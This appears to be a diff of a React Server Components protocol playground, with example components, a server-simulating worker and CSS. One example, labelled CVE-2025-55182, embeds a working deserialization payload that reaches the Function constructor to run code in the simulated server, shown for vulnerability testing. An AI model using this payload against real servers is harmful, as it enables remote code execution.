<UserProfile id={123} />
289
+
</Suspense>
290
+
</ErrorBoundary>
291
+
</div>
292
+
)
293
+
}
294
+
295
+
async function UserProfile({ id }) {
296
+
const user = await fetchUser(id)
297
+
return (
298
+
<div style={{ padding: 16, background: '#f0f0f0', borderRadius: 8 }}>
299
+
<strong>{user.name}</strong>
300
+
</div>
301
+
)
302
+
}
303
+
304
+
function FailedToLoad() {
305
+
return (
306
+
<div style={{ padding: 16, background: '#fee', borderRadius: 8, color: '#c00' }}>
307
+
<strong>Failed to load user</strong>
308
+
<p style={{ margin: '4px 0 0' }}>Please try again later.</p>
309
+
</div>
310
+
)
311
+
}
312
+
313
+
async function fetchUser(id) {
314
+
await new Promise(r => setTimeout(r, 300))
315
+
throw new Error('Network error')
316
+
}`,
317
+
client: `'use client'
318
+
319
+
import { Component } from 'react'
320
+
321
+
export class ErrorBoundary extends Component {
322
+
state = { error: null }
323
+
324
+
static getDerivedStateFromError(error) {
325
+
return { error }
326
+
}
327
+
328
+
render() {
329
+
if (this.state.error) {
330
+
return this.props.fallback
331
+
}
332
+
return this.props.children
333
+
}
334
+
}`
335
+
},
336
+
clientref: {
337
+
name: 'Client Reference',
338
+
server: `// Server can pass client module exports as props
339
+
import { darkTheme, lightTheme, ThemedBox } from './client'
340
+
341
+
export default function App() {
342
+
// Server references client-side config objects
343
+
// They serialize as module references, resolved on client
344
+
return (
345
+
<div>
346
+
<h1>Client Reference</h1>
347
+
<div style={{ display: 'flex', gap: 12 }}>
348
+
<ThemedBox theme={darkTheme} label="Dark" />
349
+
<ThemedBox theme={lightTheme} label="Light" />
350
+
</div>
351
+
</div>
352
+
)
353
+
}`,
354
+
client: `'use client'
355
+
356
+
export const darkTheme = { background: '#1a1a1a', color: '#fff' }
357
+
export const lightTheme = { background: '#f5f5f5', color: '#000' }
358
+
359
+
export function ThemedBox({ theme, label }) {
360
+
return (
361
+
<div style={{ ...theme, padding: 16, borderRadius: 8 }}>
362
+
{label} theme
363
+
</div>
364
+
)
365
+
}`
366
+
},
367
+
bound: {
368
+
name: 'Bound Actions',
369
+
server: `// action.bind() pre-binds arguments on the server
370
+
import { Greeter } from './client'
371
+
372
+
export default function App() {
373
+
return (
374
+
<div>
375
+
<h1>Bound Actions</h1>
376
+
<p style={{ color: '#888', marginBottom: 16 }}>
377
+
Same action, different bound greetings:
378
+
</p>
379
+
<Greeter action={greet.bind(null, 'Hello')} />
380
+
<Greeter action={greet.bind(null, 'Howdy')} />
381
+
<Greeter action={greet.bind(null, 'Hey')} />
382
+
</div>
383
+
)
384
+
}
385
+
386
+
async function greet(greeting, name) {
387
+
'use server'
388
+
return \`\${greeting}, \${name}!\`
389
+
}`,
390
+
client: `'use client'
391
+
392
+
import { useState } from 'react'
393
+
394
+
export function Greeter({ action }) {
395
+
const [result, setResult] = useState(null)
396
+
397
+
async function handleSubmit(formData) {
398
+
// greeting is pre-bound, we only pass name
399
+
const message = await action(formData.get('name'))
400
+
setResult(message)
401
+
}
402
+
403
+
return (
404
+
<form action={handleSubmit} style={{ marginBottom: 8 }}>
405
+
<input name="name" placeholder="Your name" required />
406
+
<button>Greet</button>
407
+
{result && <span style={{ marginLeft: 8 }}>{result}</span>}
408
+
</form>
409
+
)
410
+
}`
411
+
},
412
+
kitchensink: {
413
+
name: 'Kitchen Sink',
414
+
server: `// Kitchen Sink - All RSC Protocol Types
415
+
import { Suspense } from 'react'
416
+
import { DataDisplay } from './client'
417
+
418
+
export default function App() {
419
+
return (
420
+
<div>
421
+
<h1>Kitchen Sink</h1>
422
+
<Suspense fallback={<p>Loading...</p>}>
423
+
<AllTypes />
424
+
</Suspense>
425
+
</div>
426
+
)
427
+
}
428
+
429
+
async function AllTypes() {
430
+
await new Promise(r => setTimeout(r, 100))
431
+
432
+
const data = {
433
+
// Primitives
434
+
primitives: {
435
+
null: null,
436
+
undefined: undefined,
437
+
true: true,
438
+
false: false,
439
+
int: 42,
440
+
float: 3.14159,
441
+
string: "hello world",
442
+
empty: "",
443
+
dollar: "$special",
444
+
unicode: "Hello 世界 🌍",
445
+
},
446
+
447
+
// Special numbers
448
+
special: {
449
+
negZero: -0,
450
+
inf: Infinity,
451
+
negInf: -Infinity,
452
+
nan: NaN,
453
+
},
454
+
455
+
// Special types
456
+
types: {
457
+
date: new Date("2024-01-15T12:00:00.000Z"),
458
+
bigint: BigInt("12345678901234567890"),
459
+
symbol: Symbol.for("mySymbol"),
460
+
},
461
+
462
+
// Collections
463
+
collections: {
464
+
map: new Map([["a", 1], ["b", { nested: true }]]),
465
+
set: new Set([1, 2, "three"]),
466
+
formData: createFormData(),
467
+
blob: new Blob(["hello"], { type: "text/plain" }),
468
+
},
469
+
470
+
// Arrays
471
+
arrays: {
472
+
simple: [1, 2, 3],
473
+
sparse: createSparse(),
474
+
nested: [[1], [2, [3]]],
475
+
},
476
+
477
+
// Objects
478
+
objects: {
479
+
simple: { a: 1 },
480
+
nested: { x: { y: { z: "deep" } } },
481
+
},
482
+
483
+
// React elements
484
+
elements: {
485
+
div: <div className="test">Hello</div>,
486
+
fragment: <><span>a</span><span>b</span></>,
487
+
suspense: <Suspense fallback="..."><p>content</p></Suspense>,
488
+
},
489
+
490
+
// Promises
491
+
promises: {
492
+
resolved: Promise.resolve("immediate"),
493
+
delayed: new Promise(r => setTimeout(() => r("delayed"), 100)),
494
+
},
495
+
496
+
// Iterators
497
+
iterators: {
498
+
sync: [1, 2, 3][Symbol.iterator](),
499
+
},
500
+
501
+
// References
502
+
refs: createRefs(),
503
+
504
+
// Server action
505
+
action: serverAction,
506
+
}
507
+
508
+
return <DataDisplay data={data} />
509
+
}
510
+
511
+
function createFormData() {
512
+
const fd = new FormData()
513
+
fd.append("key", "value")
514
+
return fd
515
+
}
516
+
517
+
function createSparse() {
518
+
const a = [1]; a[3] = 4; return a
519
+
}
520
+
521
+
function createRefs() {
522
+
const shared = { id: 1 }
523
+
const cyclic = { name: "cyclic" }
524
+
cyclic.self = cyclic
525
+
return { dup: { a: shared, b: shared }, cyclic }
526
+
}
527
+
528
+
async function serverAction(x) {
529
+
'use server'
530
+
return { got: x }
531
+
}`,
532
+
client: `'use client'
533
+
534
+
export function DataDisplay({ data }) {
535
+
return (
536
+
<div style={{ fontSize: 12 }}>
537
+
{Object.entries(data).map(([section, values]) => (
538
+
<div key={section} style={{ marginBottom: 16 }}>
539
+
<strong>{section}</strong>
540
+
<div style={{ marginLeft: 12 }}>
541
+
{typeof values === 'function' ? (
542
+
<div><button onClick={() => values('test')}>Call {values.name || 'action'}</button></div>
543
+
) : typeof values === 'object' && values !== null ? (
544
+
Object.entries(values).map(([k, v]) => (
545
+
<div key={k}>{k}: {renderValue(v)}</div>
546
+
))
547
+
) : (
548
+
<span>{renderValue(values)}</span>
549
+
)}
550
+
</div>
551
+
</div>
552
+
))}
553
+
</div>
554
+
)
555
+
}
556
+
557
+
function renderValue(v) {
558
+
if (v === null) return 'null'
559
+
if (v === undefined) return 'undefined'
560
+
if (typeof v === 'symbol') return v.toString()
561
+
if (typeof v === 'bigint') return v.toString() + 'n'
562
+
if (typeof v === 'function') return '[Function]'
563
+
if (v instanceof Date) return v.toISOString()
564
+
if (v instanceof Map) return 'Map(' + v.size + ')'
565
+
if (v instanceof Set) return 'Set(' + v.size + ')'
566
+
if (v instanceof FormData) return 'FormData'
567
+
if (v instanceof Blob) return 'Blob(' + v.size + ')'
568
+
if (Array.isArray(v)) return '[' + v.length + ' items]'
569
+
if (typeof v === 'object') return '{...}'
570
+
return String(v)
571
+
}`
572
+
},
573
+
cve: {
574
+
name: 'CVE-2025-55182',
575
+
server: `import { Instructions } from './client'
576
+
577
+
async function poc() {
578
+
'use server'
579
+
}
580
+
581
+
export default function App() {
582
+
return (
583
+
<div>
584
+
<h1>CVE-2025-55182</h1>
585
+
<Instructions />
586
+
</div>
587
+
)
588
+
}`,
589
+
client: `'use client'
590
+
591
+
import { useState } from 'react'
592
+
593
+
const PAYLOAD = \`0="$1"&1={"status":"resolved_model","reason":0,"_response":"$5","value":"{\\\\"then\\\\":\\\\"$4:map\\\\",\\\\"0\\\\":{\\\\"then\\\\":\\\\"$B3\\\\"},\\\\"length\\\\":1}","then":"$2:then"}&2="$@3"&3=""&4=[]&5={"_prefix":"console.log('😼 meow meow from', self.constructor.name)//","_formData":{"get":"$4:constructor:constructor"},"_chunks":"$2:_response:_chunks","_bundlerConfig":{}}\`
594
+
595
+
export function Instructions() {
596
+
const [copied, setCopied] = useState(false)
597
+
598
+
const handleCopy = () => {
599
+
navigator.clipboard.writeText(PAYLOAD)
600
+
setCopied(true)
601
+
setTimeout(() => setCopied(false), 2000)
602
+
}
603
+
604
+
return (
605
+
<div>
606
+
<ol style={{ paddingLeft: 20, marginBottom: 16 }}>
607
+
<li>Use the + button in above pane to add a raw action</li>
608
+
<li>Select the <code>poc</code> action</li>
609
+
<li>Copy the payload below and paste it</li>
610
+
<li>Open your browser's console</li>
611
+
<li>If this version of React is vulnerable, you'll see a log from the worker (which simulates the server)</li>
612
+
</ol>
613
+
<div style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', marginBottom: 4 }}>
614
+
<label style={{ fontSize: 12, color: '#666' }}>Payload:</label>
615
+
<button onClick={handleCopy} style={{ fontSize: 12, padding: '2px 8px' }}>
616
+
{copied ? 'Copied!' : 'Copy'}
617
+
</button>
618
+
</div>
619
+
<textarea
620
+
readOnly
621
+
value={PAYLOAD}
622
+
style={{
623
+
width: '100%',
624
+
height: 80,
625
+
fontFamily: 'monospace',
626
+
fontSize: 11,
627
+
padding: 8,
628
+
border: '1px solid #ccc',
629
+
borderRadius: 4,
630
+
resize: 'vertical',
631
+
background: '#f5f5f5'
632
+
}}
633
+
onClick={e => e.target.select()}
634
+
/>
635
+
</div>
636
+
)
637
+
}`,
638
+
},
639
+
};
+171
src/client/server-worker.js
+171
src/client/server-worker.js
···
1
+
import workerUrl from '../server/worker.js?rolldown-worker';
2
+
3
+
const randomUUID = crypto.randomUUID?.bind(crypto) ?? function() {
4
+
const bytes = crypto.getRandomValues(new Uint8Array(16));
5
+
bytes[6] = (bytes[6] & 0x0f) | 0x40; // version 4
6
+
bytes[8] = (bytes[8] & 0x3f) | 0x80; // variant 1
7
+
const hex = [...bytes].map(b => b.toString(16).padStart(2, '0'));
8
+
return `${hex.slice(0, 4).join('')}-${hex.slice(4, 6).join('')}-${hex.slice(6, 8).join('')}-${hex.slice(8, 10).join('')}-${hex.slice(10).join('')}`;
9
+
};
10
+
11
+
function serializeForTransfer(encoded) {
12
+
if (encoded instanceof FormData) {
13
+
return { type: 'formdata', data: new URLSearchParams(encoded).toString() };
14
+
}
15
+
return { type: 'string', data: encoded };
16
+
}
17
+
18
+
export class ServerWorker {
19
+
constructor() {
20
+
this.worker = new Worker(workerUrl);
21
+
this.pending = new Map();
22
+
this.streams = new Map();
23
+
this.readyPromise = new Promise(resolve => {
24
+
this.readyResolve = resolve;
25
+
});
26
+
27
+
this.worker.onmessage = this.handleMessage.bind(this);
28
+
this.worker.onerror = this.handleError.bind(this);
29
+
}
30
+
31
+
handleMessage(event) {
32
+
const { type, requestId, error, chunk } = event.data;
33
+
34
+
if (type === 'ready') {
35
+
this.readyResolve();
36
+
return;
37
+
}
38
+
39
+
if (type === 'stream-start') {
40
+
const pending = this.pending.get(requestId);
41
+
if (!pending) return;
42
+
this.pending.delete(requestId);
43
+
44
+
let controller;
45
+
const stream = new ReadableStream({
46
+
start: (c) => { controller = c; }
47
+
});
48
+
this.streams.set(requestId, controller);
49
+
pending.resolve(stream);
50
+
return;
51
+
}
52
+
53
+
if (type === 'stream-chunk') {
54
+
const controller = this.streams.get(requestId);
55
+
if (controller) controller.enqueue(chunk);
56
+
return;
57
+
}
58
+
59
+
if (type === 'stream-end') {
60
+
const controller = this.streams.get(requestId);
61
+
if (controller) {
62
+
controller.close();
63
+
this.streams.delete(requestId);
64
+
}
65
+
return;
66
+
}
67
+
68
+
if (type === 'stream-error') {
69
+
const controller = this.streams.get(requestId);
70
+
if (controller) {
71
+
controller.error(new Error(error.message));
72
+
this.streams.delete(requestId);
73
+
}
74
+
return;
75
+
}
76
+
77
+
const pending = this.pending.get(requestId);
78
+
if (!pending) {
79
+
console.warn(`No pending request for ${requestId}`);
80
+
return;
81
+
}
82
+
83
+
this.pending.delete(requestId);
84
+
85
+
if (type === 'error') {
86
+
const err = new Error(error.message);
87
+
err.stack = error.stack;
88
+
pending.reject(err);
89
+
} else if (type === 'deployed') {
90
+
pending.resolve();
91
+
}
92
+
}
93
+
94
+
handleError(event) {
95
+
const errorMsg = event.message || event.error?.message || 'Unknown worker error';
96
+
console.error(`Worker error: ${errorMsg}`);
97
+
98
+
for (const [, pending] of this.pending) {
99
+
pending.reject(new Error(`Worker error: ${errorMsg}`));
100
+
}
101
+
this.pending.clear();
102
+
}
103
+
104
+
async deploy({ compiledCode, manifest, actionNames }) {
105
+
await this.readyPromise;
106
+
const requestId = randomUUID();
107
+
108
+
return new Promise((resolve, reject) => {
109
+
this.pending.set(requestId, { resolve, reject });
110
+
this.worker.postMessage({
111
+
type: 'deploy',
112
+
requestId,
113
+
compiledCode,
114
+
manifest,
115
+
actionNames,
116
+
});
117
+
});
118
+
}
119
+
120
+
async render() {
121
+
await this.readyPromise;
122
+
const requestId = randomUUID();
123
+
124
+
return new Promise((resolve, reject) => {
125
+
this.pending.set(requestId, { resolve, reject });
126
+
this.worker.postMessage({ type: 'render', requestId });
127
+
});
128
+
}
129
+
130
+
async callAction(actionId, encodedArgs) {
131
+
await this.readyPromise;
132
+
const requestId = randomUUID();
133
+
134
+
return new Promise((resolve, reject) => {
135
+
this.pending.set(requestId, { resolve, reject });
136
+
this.worker.postMessage({
137
+
type: 'action',
138
+
requestId,
139
+
actionId,
140
+
encodedArgs: serializeForTransfer(encodedArgs),
141
+
});
142
+
});
143
+
}
144
+
145
+
async callActionRaw(actionId, rawPayload) {
146
+
await this.readyPromise;
147
+
const requestId = randomUUID();
148
+
149
+
return new Promise((resolve, reject) => {
150
+
this.pending.set(requestId, { resolve, reject });
151
+
this.worker.postMessage({
152
+
type: 'action',
153
+
requestId,
154
+
actionId,
155
+
encodedArgs: { type: 'formdata', data: rawPayload },
156
+
});
157
+
});
158
+
}
159
+
160
+
terminate() {
161
+
this.worker.terminate();
162
+
for (const [, pending] of this.pending) {
163
+
pending.reject(new Error('Worker terminated'));
164
+
}
165
+
this.pending.clear();
166
+
for (const [, controller] of this.streams) {
167
+
controller.error(new Error('Worker terminated'));
168
+
}
169
+
this.streams.clear();
170
+
}
171
+
}
+855
src/client/styles/workspace.css
+855
src/client/styles/workspace.css
···
1
+
/* Workspace styles - shared between main app and embed */
2
+
3
+
/* Embed header */
4
+
.embed-header {
5
+
display: flex;
6
+
align-items: center;
7
+
justify-content: space-between;
8
+
padding: 0 12px;
9
+
height: 32px;
10
+
background: var(--surface);
11
+
border-bottom: 1px solid var(--border);
12
+
flex-shrink: 0;
13
+
}
14
+
.embed-title {
15
+
font-size: 11px;
16
+
font-weight: 600;
17
+
color: var(--text-dim);
18
+
letter-spacing: 0.3px;
19
+
}
20
+
.embed-fullscreen-link {
21
+
display: flex;
22
+
align-items: center;
23
+
justify-content: center;
24
+
width: 28px;
25
+
height: 28px;
26
+
margin-right: -10px;
27
+
border-radius: 4px;
28
+
color: var(--text-dim);
29
+
text-decoration: none;
30
+
transition: all 0.15s;
31
+
}
32
+
.embed-fullscreen-link:hover {
33
+
background: var(--border);
34
+
color: var(--text-bright);
35
+
}
36
+
37
+
main {
38
+
flex: 1;
39
+
min-height: 0;
40
+
display: grid;
41
+
grid-template-columns: 50% 50%;
42
+
grid-template-rows: 50% 50%;
43
+
overflow: hidden;
44
+
}
45
+
.pane {
46
+
display: flex;
47
+
flex-direction: column;
48
+
overflow: hidden;
49
+
}
50
+
/* Left column border */
51
+
.pane:nth-child(1),
52
+
.pane:nth-child(3) {
53
+
border-right: 1px solid var(--border);
54
+
}
55
+
/* Top row border */
56
+
.pane:nth-child(1),
57
+
.pane:nth-child(2) {
58
+
border-bottom: 1px solid var(--border);
59
+
}
60
+
.pane-header {
61
+
padding: 6px 12px;
62
+
font-size: 10px;
63
+
text-transform: uppercase;
64
+
letter-spacing: 1px;
65
+
color: var(--text-dim);
66
+
flex-shrink: 0;
67
+
border-bottom: 1px solid var(--border);
68
+
}
69
+
.editor-container {
70
+
flex: 1;
71
+
min-height: 0;
72
+
position: relative;
73
+
overflow: hidden;
74
+
background: var(--bg);
75
+
}
76
+
.editor-container .cm-editor {
77
+
position: absolute !important;
78
+
top: 0;
79
+
left: 0;
80
+
right: 0;
81
+
bottom: 0;
82
+
height: auto !important;
83
+
background: transparent;
84
+
}
85
+
.editor-container .cm-editor .cm-scroller {
86
+
overflow: auto !important;
87
+
}
88
+
.flight-output {
89
+
flex: 1;
90
+
min-height: 0;
91
+
margin: 0;
92
+
padding: 12px;
93
+
font-family: var(--font-mono);
94
+
font-size: 12px;
95
+
line-height: 1.6;
96
+
overflow: auto;
97
+
white-space: pre-wrap;
98
+
word-break: break-all;
99
+
background: var(--bg);
100
+
color: var(--text-dim);
101
+
}
102
+
.flight-output.error {
103
+
color: #e57373;
104
+
}
105
+
.action-args {
106
+
color: var(--text);
107
+
}
108
+
109
+
/* Flight log */
110
+
.flight-log {
111
+
flex: 1;
112
+
overflow: auto;
113
+
padding: 8px;
114
+
display: flex;
115
+
flex-direction: column;
116
+
gap: 6px;
117
+
}
118
+
.log-entry {
119
+
background: var(--surface);
120
+
border: 1px solid var(--border);
121
+
border-radius: 4px;
122
+
transition: all 0.15s ease;
123
+
border-left: 3px solid #555;
124
+
}
125
+
.log-entry + .log-entry {
126
+
margin-top: 12px;
127
+
}
128
+
.log-entry.active {
129
+
border-left-color: #ffd54f;
130
+
}
131
+
.log-entry.done-entry {
132
+
border-left-color: #555;
133
+
opacity: 0.8;
134
+
}
135
+
.log-entry.pending-entry {
136
+
border-left-color: #333;
137
+
opacity: 0.4;
138
+
}
139
+
.log-entry-header {
140
+
display: flex;
141
+
align-items: center;
142
+
justify-content: space-between;
143
+
gap: 8px;
144
+
padding: 6px 10px;
145
+
font-size: 11px;
146
+
border-bottom: 1px solid var(--border);
147
+
}
148
+
.log-entry-direction {
149
+
font-family: var(--font-mono);
150
+
font-weight: 600;
151
+
color: var(--text-dim);
152
+
}
153
+
.log-entry.active .log-entry-direction {
154
+
color: #ffd54f;
155
+
}
156
+
.log-entry-args {
157
+
padding: 6px 10px;
158
+
font-family: var(--font-mono);
159
+
font-size: 11px;
160
+
border-bottom: 1px solid var(--border);
161
+
color: var(--text-dim);
162
+
}
163
+
.action-args-label {
164
+
margin-right: 6px;
165
+
color: var(--text-dim);
166
+
}
167
+
.log-entry-label {
168
+
color: var(--text);
169
+
font-weight: 500;
170
+
}
171
+
.log-entry-count {
172
+
margin-left: auto;
173
+
color: var(--text-dim);
174
+
font-family: var(--font-mono);
175
+
}
176
+
.log-entry-content {
177
+
margin: 0;
178
+
padding: 8px 10px;
179
+
font-family: var(--font-mono);
180
+
font-size: 11px;
181
+
line-height: 1.5;
182
+
white-space: pre-wrap;
183
+
word-break: break-all;
184
+
}
185
+
.log-entry .action-args {
186
+
color: #81c784;
187
+
}
188
+
189
+
/* Action request (args display) */
190
+
.log-entry-request {
191
+
padding: 8px 10px;
192
+
background: rgba(0, 0, 0, 0.2);
193
+
border-bottom: 1px solid var(--border);
194
+
}
195
+
.log-entry-request-args {
196
+
margin: 0;
197
+
font-family: var(--font-mono);
198
+
font-size: 11px;
199
+
line-height: 1.4;
200
+
color: #81c784;
201
+
white-space: pre-wrap;
202
+
word-break: break-all;
203
+
}
204
+
205
+
/* Log entry preview (embedded scrubber) */
206
+
.log-entry-preview {
207
+
border-top: 1px solid var(--border);
208
+
padding: 8px;
209
+
}
210
+
.log-entry-preview-controls {
211
+
display: flex;
212
+
align-items: center;
213
+
gap: 8px;
214
+
margin-bottom: 8px;
215
+
}
216
+
.log-step-btn {
217
+
background: var(--border);
218
+
border: none;
219
+
color: #ffd54f;
220
+
width: 24px;
221
+
height: 24px;
222
+
border-radius: 3px;
223
+
cursor: pointer;
224
+
font-size: 10px;
225
+
display: flex;
226
+
align-items: center;
227
+
justify-content: center;
228
+
}
229
+
.log-step-btn:hover:not(:disabled) {
230
+
background: #444;
231
+
}
232
+
.log-step-btn:disabled {
233
+
opacity: 0.3;
234
+
cursor: not-allowed;
235
+
}
236
+
.log-entry-slider {
237
+
flex: 1;
238
+
height: 4px;
239
+
-webkit-appearance: none;
240
+
appearance: none;
241
+
background: var(--border);
242
+
border-radius: 2px;
243
+
outline: none;
244
+
}
245
+
.log-entry-slider::-webkit-slider-thumb {
246
+
-webkit-appearance: none;
247
+
width: 14px;
248
+
height: 14px;
249
+
background: #ffd54f;
250
+
border-radius: 50%;
251
+
cursor: pointer;
252
+
}
253
+
.log-entry-slider::-moz-range-thumb {
254
+
width: 14px;
255
+
height: 14px;
256
+
background: #ffd54f;
257
+
border-radius: 50%;
258
+
cursor: pointer;
259
+
border: none;
260
+
}
261
+
.value-pending {
262
+
color: #999;
263
+
font-style: italic;
264
+
font-size: 11px;
265
+
}
266
+
.value-loading {
267
+
color: #999;
268
+
font-style: italic;
269
+
}
270
+
.log-entry-step-info {
271
+
font-size: 11px;
272
+
color: var(--text-dim);
273
+
font-family: var(--font-mono);
274
+
}
275
+
.log-entry-flight-lines {
276
+
margin: 0;
277
+
padding: 6px;
278
+
background: var(--bg);
279
+
border-radius: 3px;
280
+
font-size: 11px;
281
+
line-height: 1.4;
282
+
overflow: auto;
283
+
}
284
+
.log-entry-flight-lines .flight-line {
285
+
display: block;
286
+
padding: 6px 8px;
287
+
margin-bottom: 3px;
288
+
border-radius: 4px;
289
+
word-break: break-all;
290
+
white-space: pre-wrap;
291
+
border-left: 2px solid transparent;
292
+
transition: all 0.15s ease;
293
+
}
294
+
.log-entry-flight-lines .flight-line:last-child {
295
+
margin-bottom: 0;
296
+
}
297
+
.log-entry-flight-lines .line-done {
298
+
color: #999;
299
+
background: rgba(255, 255, 255, 0.03);
300
+
border-left-color: #555;
301
+
}
302
+
.log-entry-flight-lines .line-next {
303
+
color: #e0e0e0;
304
+
background: rgba(255, 213, 79, 0.12);
305
+
border-left-color: #ffd54f;
306
+
}
307
+
.log-entry-flight-lines .line-pending {
308
+
color: #444;
309
+
background: transparent;
310
+
border-left-color: #333;
311
+
opacity: 0.4;
312
+
}
313
+
314
+
/* Split layout: left=stream (scrolls), right=tree (dictates height) */
315
+
.log-entry-split {
316
+
display: flex;
317
+
gap: 8px;
318
+
align-items: stretch;
319
+
}
320
+
.log-entry-split .log-entry-flight-lines-wrapper {
321
+
flex: 1;
322
+
min-width: 0;
323
+
position: relative;
324
+
min-height: 150px;
325
+
}
326
+
.log-entry-split .log-entry-flight-lines {
327
+
position: absolute;
328
+
top: 0;
329
+
left: 0;
330
+
right: 0;
331
+
bottom: 0;
332
+
}
333
+
.log-entry-split .log-entry-tree {
334
+
flex: 1;
335
+
min-width: 0;
336
+
display: flex;
337
+
flex-direction: column;
338
+
}
339
+
/* Tree view in log entry - expands to fill height */
340
+
.log-entry-tree {
341
+
flex: 1;
342
+
min-width: 0;
343
+
border-radius: 4px;
344
+
overflow: auto;
345
+
border: 1px solid var(--border);
346
+
}
347
+
.log-entry-tree:has(.flight-tree) {
348
+
background: #000;
349
+
}
350
+
.log-entry-tree.full-width {
351
+
flex: none;
352
+
width: 100%;
353
+
}
354
+
.log-entry-tree .flight-tree {
355
+
padding: 8px;
356
+
font-size: 11px;
357
+
line-height: 1.6;
358
+
}
359
+
.jsx-output {
360
+
margin: 0;
361
+
white-space: pre-wrap;
362
+
word-break: break-word;
363
+
color: var(--text);
364
+
}
365
+
.value-content {
366
+
background: #f8f8f8;
367
+
color: #111;
368
+
font-family: -apple-system, BlinkMacSystemFont, sans-serif;
369
+
padding: 8px;
370
+
border-radius: 3px;
371
+
margin: -8px;
372
+
}
373
+
.value-string { color: #22863a; }
374
+
.value-number { color: #005cc5; }
375
+
.value-boolean { color: #d73a49; }
376
+
.value-null, .value-undefined { color: #6a737d; font-style: italic; }
377
+
.value-key { color: #005cc5; }
378
+
.value-indent {
379
+
display: block;
380
+
padding-left: 16px;
381
+
}
382
+
.value-array-item, .value-object-entry {
383
+
display: block;
384
+
}
385
+
.value-react-element {
386
+
display: inline;
387
+
background: rgba(0, 0, 0, 0.04);
388
+
padding: 2px 4px;
389
+
border-radius: 3px;
390
+
}
391
+
.value-error {
392
+
color: #e57373;
393
+
font-style: italic;
394
+
}
395
+
.value-loading {
396
+
color: var(--text-dim);
397
+
font-style: italic;
398
+
}
399
+
400
+
/* Flight Tree View */
401
+
.flight-tree {
402
+
flex: 1;
403
+
min-height: 0;
404
+
padding: 12px;
405
+
font-family: var(--font-mono);
406
+
font-size: 12px;
407
+
line-height: 1.8;
408
+
overflow: auto;
409
+
background: var(--bg);
410
+
}
411
+
.tree-empty {
412
+
color: var(--text-dim);
413
+
font-style: italic;
414
+
}
415
+
.tree-element,
416
+
.tree-client-component,
417
+
.tree-suspense,
418
+
.tree-lazy {
419
+
margin-left: 0;
420
+
}
421
+
.tree-children {
422
+
margin-left: 16px;
423
+
border-left: 1px solid #333;
424
+
padding-left: 12px;
425
+
}
426
+
.tree-tag {
427
+
color: #e06c75;
428
+
}
429
+
.tree-client-tag {
430
+
color: #c678dd;
431
+
}
432
+
.tree-client-ref {
433
+
color: #5c6370;
434
+
font-size: 10px;
435
+
}
436
+
.tree-react-tag {
437
+
color: #e5c07b;
438
+
}
439
+
.tree-pending {
440
+
display: inline-block;
441
+
color: #64b5f6;
442
+
background: rgba(100, 181, 246, 0.15);
443
+
padding: 2px 8px;
444
+
border-radius: 10px;
445
+
border: 1px solid rgba(100, 181, 246, 0.4);
446
+
font-size: 10px;
447
+
font-weight: 500;
448
+
letter-spacing: 0.5px;
449
+
animation: pending-pulse 2s ease-in-out infinite;
450
+
}
451
+
@keyframes pending-pulse {
452
+
0%, 100% { opacity: 0.7; }
453
+
50% { opacity: 1; }
454
+
}
455
+
.tree-string {
456
+
color: #98c379;
457
+
}
458
+
.tree-number {
459
+
color: #d19a66;
460
+
}
461
+
.tree-boolean {
462
+
color: #56b6c2;
463
+
}
464
+
.tree-null,
465
+
.tree-undefined {
466
+
color: #5c6370;
467
+
font-style: italic;
468
+
}
469
+
.tree-key,
470
+
.tree-prop-name {
471
+
color: #61afef;
472
+
}
473
+
.tree-ref {
474
+
color: #c678dd;
475
+
}
476
+
.tree-object {
477
+
color: var(--text-dim);
478
+
}
479
+
.tree-array {
480
+
/* Arrays render children inline */
481
+
}
482
+
.tree-props {
483
+
color: var(--text-dim);
484
+
}
485
+
.tree-prop {
486
+
color: var(--text-dim);
487
+
}
488
+
.tree-error {
489
+
display: inline-block;
490
+
color: #e57373;
491
+
background: rgba(229, 115, 115, 0.15);
492
+
padding: 2px 8px;
493
+
border-radius: 10px;
494
+
border: 1px solid rgba(229, 115, 115, 0.4);
495
+
font-size: 10px;
496
+
font-weight: 500;
497
+
letter-spacing: 0.5px;
498
+
}
499
+
.tree-pending-tag {
500
+
color: #ffd54f;
501
+
background: rgba(255, 213, 79, 0.1);
502
+
padding: 1px 4px;
503
+
border-radius: 3px;
504
+
border: 1px solid rgba(255, 213, 79, 0.3);
505
+
}
506
+
.tree-error-keyword {
507
+
color: #c678dd;
508
+
font-weight: 600;
509
+
}
510
+
.tree-error-message {
511
+
color: #e57373;
512
+
}
513
+
.tree-function {
514
+
color: #61afef;
515
+
font-style: italic;
516
+
}
517
+
.tree-placeholder {
518
+
color: #444;
519
+
font-style: italic;
520
+
}
521
+
522
+
/* Playback controls */
523
+
.playback-container {
524
+
display: flex;
525
+
align-items: center;
526
+
gap: 10px;
527
+
padding: 8px 12px;
528
+
background: var(--surface);
529
+
border-bottom: 1px solid var(--border);
530
+
}
531
+
.playback-controls {
532
+
display: flex;
533
+
align-items: center;
534
+
gap: 4px;
535
+
}
536
+
.control-btn {
537
+
background: transparent;
538
+
border: none;
539
+
color: var(--text);
540
+
width: 40px;
541
+
height: 40px;
542
+
border-radius: 6px;
543
+
cursor: pointer;
544
+
display: flex;
545
+
align-items: center;
546
+
justify-content: center;
547
+
transition: all 0.1s;
548
+
}
549
+
.control-btn svg {
550
+
width: 20px;
551
+
height: 20px;
552
+
}
553
+
.control-btn:hover:not(:disabled) {
554
+
background: var(--border);
555
+
color: var(--text-bright);
556
+
}
557
+
.control-btn:disabled {
558
+
opacity: 0.3;
559
+
cursor: not-allowed;
560
+
}
561
+
.control-btn.play-btn.playing {
562
+
color: #ffd54f;
563
+
}
564
+
.control-btn.step-btn {
565
+
background: #ffd54f;
566
+
color: #000;
567
+
animation: pulse-step 1.5s ease-in-out infinite;
568
+
}
569
+
.control-btn.step-btn:hover:not(:disabled) {
570
+
background: #ffe566;
571
+
color: #000;
572
+
animation: none;
573
+
}
574
+
.control-btn.step-btn:disabled {
575
+
background: transparent;
576
+
color: var(--text);
577
+
animation: none;
578
+
}
579
+
@keyframes pulse-step {
580
+
0%, 100% { opacity: 1; }
581
+
50% { opacity: 0.7; }
582
+
}
583
+
.step-slider {
584
+
flex: 1;
585
+
height: 4px;
586
+
-webkit-appearance: none;
587
+
appearance: none;
588
+
background: var(--border);
589
+
border-radius: 2px;
590
+
outline: none;
591
+
}
592
+
.step-slider::-webkit-slider-thumb {
593
+
-webkit-appearance: none;
594
+
appearance: none;
595
+
width: 14px;
596
+
height: 14px;
597
+
background: #ffd54f;
598
+
border-radius: 50%;
599
+
cursor: pointer;
600
+
border: none;
601
+
}
602
+
.step-slider::-moz-range-thumb {
603
+
width: 14px;
604
+
